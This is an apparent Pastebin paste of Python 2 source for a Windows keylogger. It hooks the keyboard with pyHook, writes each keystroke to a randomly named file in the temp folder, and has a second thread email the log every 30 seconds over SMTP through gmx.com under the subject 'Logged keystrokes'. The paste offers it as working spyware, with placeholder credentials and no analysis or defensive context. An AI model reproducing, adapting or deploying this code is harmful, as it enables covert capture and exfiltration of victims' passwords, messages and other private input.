Advertisement
Guest User

Untitled

a guest
Jul 1st, 2017
84
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.52 KB | None | 0 0
  1. import os, random, smtplib, string, time, threading
  2. from email.mime.text import MIMEText
  3. import pythoncom, pyHook
  4.  
  5. global logfile
  6.  
  7. def id_generator(size=6, chars=string.ascii_uppercase + string.digits):
  8. return ''.join(random.choice(chars) for _ in range(size))
  9.  
  10. temp_path = os.getenv('TEMP')
  11. logfile = temp_path + "\\" + id_generator(15)
  12.  
  13. print logfile
  14.  
  15. f = open(logfile,"a")
  16. f.write("")
  17. f.close()
  18.  
  19. def keylogger():
  20. def OnKeyboardEvent(event):
  21. if event.Ascii != 0 or 8:
  22. f = open(logfile,"a")
  23. keylogs = chr(event.Ascii)
  24. if event.Ascii == 13:
  25. keylogs = "\n"
  26. f.write(keylogs)
  27. f.close()
  28.  
  29. hm = pyHook.HookManager()
  30. hm.KeyDown = OnKeyboardEvent
  31. hm.HookKeyboard()
  32. pythoncom.PumpMessages()
  33.  
  34.  
  35. def mailsender():
  36. username = 'xxxx'
  37. password = 'xxxx'
  38.  
  39. mittente = 'xxxx'
  40. ricevente = 'xxxxx'
  41.  
  42. while 1:
  43. time.sleep(30)
  44. fo = open(logfile, "r")
  45. msg = MIMEText(fo.read())
  46. fo.close()
  47.  
  48. msg['Subject'] = 'Logged keystrokes'
  49. msg['From'] = mittente
  50. msg['To'] = ricevente
  51.  
  52. try:
  53. s = smtplib.SMTP('smtp.gmx.com:25')
  54. s.login(username,password)
  55. s.sendmail(mittente, [ricevente], msg.as_string())
  56. s.close()
  57. print "Successfully sent email"
  58. except Exception, a:
  59. print a
  60.  
  61.  
  62. thread1 = threading.Thread(name="sic1", target=keylogger)
  63. thread2 = threading.Thread(name="sic2", target=mailsender)
  64.  
  65. thread1.start()
  66. thread2.start()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement